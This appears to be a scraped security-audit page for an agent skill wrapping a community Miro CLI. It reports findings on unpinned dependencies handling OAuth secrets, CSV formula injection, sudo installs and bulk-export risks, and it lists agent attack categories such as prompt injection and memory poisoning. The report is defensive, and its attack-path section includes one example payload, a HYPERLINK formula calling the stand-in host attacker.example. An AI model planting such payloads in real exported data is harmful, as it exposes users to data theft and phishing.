Miro CLI

• Outcome: Review
• Latest audit: Sep 12, 2026 · 1:31 AM UTC
• Version: 1.0.5

Overview

The skill is transparent about its Miro purpose, but it needs review because it relies on an unpinned community CLI that handles OAuth secrets and can bulk export organization data.

Install only if you are comfortable trusting the third-party mirocli npm package with Miro OAuth credentials and organization data. Use least-privilege Miro scopes, test with a non-production tenant first, avoid elevated npm installs, review or pin the CLI before use, and store board exports or CSV inventories only in access-controlled locations. Treat generated CSV files as untrusted before opening them in spreadsheet software.

A.I.G

Vulnerability Patterns

• Insecure Dependencies: Introduces malicious components through unsafe dependency sources
• Insecure Skill Coding Practices: Finds exploitable flaws such as hardcoded secrets or command injection
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review

Findings (2)

T08 · Insecure Dependencies

Error

• Location: SKILL.md:27

Finding

Unpinned Community-Maintained CLI Handles Sensitive OAuth Credentials

Content

View full analysis

Remediation

View remediation

``` 2. Record and verify the expected npm package integrity hash and package provenance before installation. 3. Re-review the package source, transitive dependencies, lifecycle scripts, and published package contents whenever the pinned version is updated. 4. Prefer a project-local or isolated installation over a global installation, such as a locked dependency in a dedicated directory or container. 5. Use a lockfile with integrity metadata where the installation model permits it. 6. Prefer an official Miro-supported CLI or a small audited implementation if one is available. 7. Configure the OAuth application with the minimum scopes required for the documented read and export operations. 8. Use non-production credentials for initial testing and document an incident-response process for revoking tokens and rotating the client secret after any dependency-integrity event. 9. Avoid elevated privileges for npm installation and execution. ]]>

T09 · Insecure Skill Coding Practices

Warning

• Location: scripts/list-boards-detailed.sh:25

Finding

Spreadsheet Formula Injection and Invalid Escaping in CSV Export

Content

View full analysis

/dev/null | jq -r ' .[] | "\(.name),\(.owner.name // "Unknown"),\(.team_id // ""),\(.id),\(.created_at // ""),\(.modified_at // "")" ' ;; ``` The accompanying documentation encourages users to save and import this output into spreadsheet software: ```bash # Export to CSV for spreadsheet ./scripts/list-boards-detailed.sh csv > boards.csv ``` ### Technical Analysis The script interpolates Miro-supplied board and owner data directly into comma-separated output. It does not quote fields, escape embedded double quotes, preserve embedded newlines safely, or neutralize values beginning with spreadsheet formula prefixes. Values beginning with `=`, `+`, `-`, or `@` may be interpreted as formulas when the generated file is opened or imported into spreadsheet software. Leading tab or carriage-return characters may also bypass simplistic formula checks in some applications. Separately, board names or owner names containing commas, double quotes, or line breaks can change the column or row structure because the output is not compliant with standard CSV escaping rules. This can corrupt reports or place attacker-controlled content under misleading headings. ### Attack Path 1. An attacker with permission to create or rename a board, or otherwise control a field included in the board-list response, assigns a formula-like name such as: ```text =HYPERLINK("https://attacker.example/collect","Open report") ``` 2. A victim who can view that board runs the documented export: ```bash ./scripts/list-boards-detailed.sh csv > boards.csv ``` 3. The script writes the attacker-controlled value directly into the CSV file without safe quoting or for ...[truncated 1188 chars]

Remediation

View remediation

SkillSpector

Vulnerability Patterns

• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access
• Rogue Agent: Self-Modification, Session Persistence
• MCP Tool Poisoning: Hidden Instructions, Unicode Deception, Parameter Description Injection
• Prompt Injection: Instruction Override, Hidden Instructions, Exfiltration Commands

Findings (11)

Credential Access

High

• Category: Privilege Escalation
• Confidence: 90% confidence

Finding

The skill explicitly requires an external community-maintained npm binary to handle a Miro organization ID, client ID, and client secret, and to store/use those credentials via local keyring mechanisms. Even if presented transparently, directing users to entrust high-value secrets to a third-party CLI materially expands the credential exposure surface; a compromised or malicious package could capture secrets or tokens and access organization data.

Content

Scanner excerpt · SKILL.md (reported line 26)May include surrounding context.

md

credentials:
        miro_org_id: Organization ID from Miro settings
        miro_client_id: OAuth Client ID from Miro app
        miro_client_secret: OAuth Client Secret (stored in system keyring, NOT in skill)
    install:
      - id: mirocli
        package: davitp/mirocli

Credential Access

High

• Category: Privilege Escalation
• Confidence: 91% confidence

Finding

This section confirms that the skill depends on an external npm package that manages credentials and OAuth state. In the context of an agent skill, that is security-relevant because the skill normalizes handing sensitive enterprise credentials to a non-official binary, creating risk of credential theft, token abuse, or unauthorized API access if the binary or its supply chain is compromised.

Content

Scanner excerpt · SKILL.md (reported line 74)May include surrounding context.

md

**Metadata Declaration:**
- Type: CLI tool wrapper (external binary management)
- External Binary: `mirocli` (npm package: davitp/mirocli)
- Manages Credentials: YES (stores in system keyring, NOT in skill)
- Credential Storage: System keyring (local-only, OS-managed)
- Capabilities: Read-only access to boards, teams, organization, logs
- Limitations: No create/update/delete; requires OAuth setup

Credential Access

High

• Category: Privilege Escalation
• Confidence: 88% confidence

Finding

The documentation states that mirocli stores credentials locally and manages OAuth tokens, which means the skill's operation depends on persistent handling of sensitive authentication material outside the skill bundle. That is dangerous because compromise of the external CLI, its config directory, or local environment could expose secrets enabling access to boards, exports, logs, and organization data.

Content

Scanner excerpt · SKILL.md (reported line 252)May include surrounding context.

md

**How Credentials Are Handled:**

- **Stored locally** — mirocli uses system keyring (secure, local-only)
- **Not in skill** — Credentials are entered interactively via `mirocli context add`
- **OAuth token** — mirocli manages OAuth session tokens; they never leave your machine
- **Exports** — Board exports are saved locally; no data sent to third parties beyond Miro API

Credential Access

High

• Category: Privilege Escalation
• Confidence: 70% confidence

Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · references/scripts.md (reported line 147)May include surrounding context.

md

**Prerequisites:**
- mirocli context configured: `mirocli context add`
- mirocli authenticated: `mirocli auth login`
- Credentials stored in system keyring (handled by mirocli, not by scripts)

## Tips

Intent-Code Divergence

Medium

• Category: Not specified by scanner
• Confidence: 76% confidence

Finding

The manifest limitations and security summary characterize the skill as 'read-only' and 'No create/update/delete.' But the document also says users can 'manage boards,' 'organize teams,' and use it for 'bulk operations,' which contradicts the read-only framing and suggests mutating administrative capabilities. Even if examples shown are read operations, the documentation's stated intent conflicts with the declared limitation.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium

• Category: Not specified by scanner
• Confidence: 86% confidence

Finding

The trust section states 'This skill does NOT: Store credentials, cache tokens, or transmit them' and later says credentials and tokens 'never leave your machine.' However, the same document elsewhere says authentication uses browser-based OAuth and direct HTTPS calls to api.miro.com, and that token/context material is stored in ~/.mirocli/. Those statements are materially inconsistent about whether credentials/tokens are stored locally and transmitted to Miro during authentication.

Content

No source excerpt is available for this finding.

Sudo/Root Execution

Medium

• Category: Privilege Escalation
• Confidence: 70% confidence

Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · SKILL.md (reported line 153)May include surrounding context.

md

brew install jq

# Linux (Debian/Ubuntu)
sudo apt install jq

# Linux (Fedora)
sudo dnf install jq

Sudo/Root Execution

Medium

• Category: Privilege Escalation
• Confidence: 70% confidence

Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · SKILL.md (reported line 156)May include surrounding context.

sudo apt install jq

Linux (Fedora)

sudo dnf install jq

text

### 2. Configure Context (One-time)

Missing User Warnings

Medium

• Category: Not specified by scanner
• Confidence: 90% confidence

Finding

The documentation promotes bulk export of all boards from a team to local files and emphasizes convenience features, but it does not warn that board contents may contain sensitive business, customer, or regulated data. This increases the chance that users will create large unprotected local data caches, expanding exposure through disk compromise, backups, syncing services, or accidental sharing.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium

• Category: Not specified by scanner
• Confidence: 94% confidence

Finding

The examples show organization-wide enumeration of team IDs and automated export of all boards, as well as inventory generation across boards, without any disclosure of privacy, authorization, or data-minimization considerations. In context, this materially lowers the barrier to mass collection of organizational content and metadata, which could be abused by an insider or by malware acting through the user's authenticated CLI session.

Content

No source excerpt is available for this finding.

Session Persistence

Medium

• Category: Rogue Agent
• Confidence: 60% confidence

Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · references/scripts.md (reported line 181)May include surrounding context.

Use full path

/Users/you/.openclaw/workspace/skills/miro-cli/scripts/export-team-boards.sh abc123

Or create an alias

alias export-team-boards='~/.openclaw/workspace/skills/miro-cli/scripts/export-team-boards.sh'

text

Static analysis

No suspicious patterns detected.